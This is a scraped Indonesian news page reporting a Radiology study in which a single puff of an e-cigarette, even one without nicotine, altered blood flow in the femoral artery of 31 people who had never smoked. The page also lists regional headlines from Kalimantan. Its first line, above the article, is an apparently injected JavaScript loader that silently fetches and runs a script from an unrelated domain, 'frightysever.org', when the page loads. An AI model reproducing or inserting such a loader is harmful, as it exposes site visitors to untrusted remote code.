(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kesehatan

Rokok Elektrik Ubah Pembuluh Darah dalam Sekali Isap


JAKARTA, Rokok elektrik atau vape berbahaya untuk kesehatan. Penelitian terbaru menunjukkan, cairan atau likuid dalam vape dapat mengubah pembuluh darah setelah sekali isap dan menguapkannya ke udara.

Perubahan fungsi kardiovaskular ini juga berlaku ketika cairan rokok elektrik itu tidak mengandung nikotin sama sekali. Studi yang dipublikasikan di jurnal Radiology ini menyimpulkan, vape berdampak pada fungsi pembuluh darah orang sehat.

Peneliti menggunakan scan MRI untuk melihat perubahan fungsi kardiovaskular atau yang berhubungan dengan jantung dan pembuluh darah saat mengisap rokok elektrik pada 31 orang yang tidak pernah merokok atau menggunakan vape sebelumnya.

Hasilnya, ditemukan perubahan aliran darah di dalam pembuluh arteri femoralis di kaki, hanya setelah satu kali digunakan.  “Setelah beberapa menit [perubahan pembuluh darah], semuanya menjadi normal,” kata peneliti Felix W Wehril dari University of Pennsylvania, dikutip dari CNN.

Saat seseorang rutin mengisap rokok elektrik, Wehril mengatakan, kondisi pembuluh darah mungkin tak bisa kembali seperti semula.

Perubahan pembuluh darah juga mencerminkan proses yang sama pada pengembangan penyakit kardiovaskular seperti aterosklerosis. Namun, sejauh ini para peneliti belum dapat menentukan bahan kimia mana yang bertanggung jawab terhadap perubahan pembuluh darah itu.

Studi ini termasuk dalam penelitian pertama yang mengukur dampak rokok elektrik pada jantung, pembuluh darah, paru-paru, dan otak. Belum banyak penelitian yang menguji dampak vape. Pasalnya, jenis rokok ini baru populer beberapa tahun terakhir. Masyarakat menganggap rokok elektrik lebih sehat ketimbang rokok kretek.

“Tidak ada yang tahu apa yang terjadi pada paru-paru saat menghirup masuk dan keluar propilen glikol dan gliserin aerosol berulang-ulang. Kita akan tahu bertahun-tahun dari sekarang hasilnya,” kata pendiri Stanford Research Into the Impact of Tobacco Advertising, Robert Jackler.(ptj/asr)

Reporter : ptj/asr
Editor : Cell

Desy Arfianty

Recent Posts

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

8 jam ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

9 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

9 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

9 jam ago

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

10 jam ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

13 jam ago

This website uses cookies.